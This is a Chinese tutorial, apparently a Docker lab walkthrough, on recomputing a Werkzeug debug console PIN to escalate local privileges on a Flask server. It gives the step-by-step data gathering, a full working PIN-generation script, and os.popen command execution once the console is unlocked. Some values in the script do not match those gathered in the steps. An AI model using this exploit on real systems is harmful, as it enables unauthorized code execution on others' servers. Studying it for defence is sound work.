利用Werkzeug-Debug实现本地权限提升

情景:Flask服务器在某个权限X的用户名下运行,你是系统中的本地用户,拥有权限Y。你可以访问 Werkzeug 用来生成服务器用户 PIN 的信息并成功解锁控制台后,用户作为服务器运行者会获得操作系统权限实现权限提升。

开启Werkzeug-Debug服务后,Debugger PIN码会打印到控制台中。

1、打开一个新终端,以其他用户身份登录 Docker

复制代码
sudo docker ps              
e0866ddaa40c   werkzeug-debug-console:latest   "python3 /app/server..."   About a minute ago   Up About a minute   0.0.0.0:7777->7777/tcp, :::7777->7777/tcp   nice_poitras
​
$ sudo docker exec -u 0 -it e0866ddaa40c /bin/bash
root@e0866ddaa40c:/app#

PIN码生成方式,我们可以反向生成控制台PIN的算法。

https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/init.py

2、识别运行服务器的用户,地址为7777端口

复制代码
sudo docker exec -u 0 -it e0866ddaa40c /bin/bash
root@e0866ddaa40c:/app# ps auxww | grep server
werkzeu+       1  0.0  1.4  39632 29600 ?        Ss   07:53   0:00 python3 /app/server.py
werkzeu+       7  0.0  1.2  40632 24848 ?        S    07:53   0:00 python3 /app/server.py
werkzeu+       8  0.0  1.5  40268 30568 ?        S    07:53   0:00 /usr/local/bin/python3 /app/server.py
werkzeu+       9  0.2  1.3 114928 26816 ?        Sl   07:53   0:02 /usr/local/bin/python3 /app/server.py
root          24  0.0  0.0   3660  1664 pts/0    S+   08:12   0:00 grep server

werkzeu用户在运行服务器,但服务器名称被截断了,可以通过/etc/passwd 查看完整名称。

复制代码
root@e0866ddaa40c:/app# cat /etc/passwd
werkzeug-user:x:1000:1000::/home/werkzeug-user:/bin/sh

3、复制 werkzeug-user 替换 werkzeug-pin-bypass.py脚本的用户名字段 。

4、找到通往Flask的正确路径

复制代码
$ find / -name "app.py" 2>/dev/null
/usr/local/lib/python3.9/site-packages/flask/app.py

5、更新 werkzeug-pin-bypass.py脚本中的上述flask路径。如果使用不同的Python版本或操作系统会有所不同。

6、获取服务器所托管接口的 Mac 地址:

复制代码
root@e0866ddaa40c:/app# python3
Python 3.9.25 (main, Oct 31 2025, 23:16:58) 
[GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import uuid
>>> str(uuid.getnode())
'2485377892354'

或者通过以下方式获取mac地址:

复制代码
root@e0866ddaa40c:/app# cat /sys/class/net/eth0/address
02:42:ac:11:00:02
root@e0866ddaa40c:/app# python3
Python 3.9.25 (main, Oct 31 2025, 23:16:58) 
[GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> "".join("02:42:ac:11:00:02".split(":"))
'0242ac110002'
>>> print(0x0242ac110002)
2485377892354

8、在werkzeug-pin-bypass.py中更新 Mac 地址。

9、在 python3 中运行以下脚本生成机器 ID

复制代码
machine_id = b""
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
    try:
        with open(filename, "rb") as f:
            value = f.readline().strip()
    except OSError:
        continue

    if value:
        machine_id += value
        break
try:
    with open("/proc/self/cgroup", "rb") as f:
        machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
    pass

print(machine_id)

一句话python命令运行:

复制代码
python3 -c "m=b'';exec(\"for f in ['/etc/machine-id','/proc/sys/kernel/random/boot_id']:\n try:\n  with open(f,'rb') as fp:v=fp.readline().strip()\n  if v:m=v;break\n except:continue\");exec(\"try:\n with open('/proc/self/cgroup','rb') as fp:m+=fp.readline().strip().rpartition(b'/')[2]\nexcept:pass\");print(m)"
复制代码
machine-id:d8433c1e-xxxx-4d3b-8965-xxxxa31dxxxx

10、在werkzeug-pin-bypass.py中更新机器ID。

11、运行这个 werkzeug-pin-bypass.py 脚本获取PIN码

复制代码
$ python3 werkzeug-pin-bypass.py
Pin: 378-947-877

如果一切顺利,我们将会拥有 PIN 码。如果没有,就重新检查上述步骤。

如果使用的是旧版本的 Werkzeug,试着把哈希算法改成 md5 而不是 sha1。

访问 http://127.0.0.1:7777/console 输入PIN码系统解锁,我们可以运行想要的Python命令。

复制代码
>>> output = os.popen("id").read()
>>> print(output)
uid=1000(user) gid=1000(user) groups=1000(user)

或
>>> print(os.popen("id").read())
>>> print(os.popen("whoami").read())

注:执行命令直接返回0代表命令执行成功,可以使用print打印命令执行结果。

附:PIN码计算脚本:

复制代码
#!/bin/python3
import hashlib
from itertools import chain

probably_public_bits = [
	'werkzeug-user',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
	'2485377892356',# str(uuid.getnode()),  /sys/class/net/ens33/address 
	# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
	'ea1fc30b6f4a173cea015d229c6b55b69d0ff00819670374d7a02397bc236523a57e9bab0c6e6167470ac65b66075388'
]

h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num

print("Pin: " + rv)
相关推荐
yanghuashuiyue2 小时前
langchain AI应用框架研究【开发部署-篇四】
python·langchain
无敌昊哥战神2 小时前
【保姆级题解】力扣17. 电话号码的字母组合 (回溯算法经典入门) | Python/C/C++多语言详解
c语言·c++·python·算法·leetcode
2301_777599372 小时前
Go语言如何做HTTP连接池_Go语言HTTP连接池教程【最新】
jvm·数据库·python
Chockmans2 小时前
春秋云境CVE-2021-34257
安全·web安全·网络安全·php·网络攻击模型·春秋云境·cve-2021-34257
坐吃山猪2 小时前
Python27_协程游戏理解
开发语言·python·游戏
Polar__Star2 小时前
Redis如何利用位图快速判断数据存在性
jvm·数据库·python
2301_817672262 小时前
CSS如何实现优雅的间距_使用CSS Grid控制盒模型间隙
jvm·数据库·python
你说咋整就咋整2 小时前
openGauss6.0.3 一主二从集群安装手册
数据库·python·gaussdb
Shorasul2 小时前
JavaScript中显式创建包装对象的后果与性能损耗
jvm·数据库·python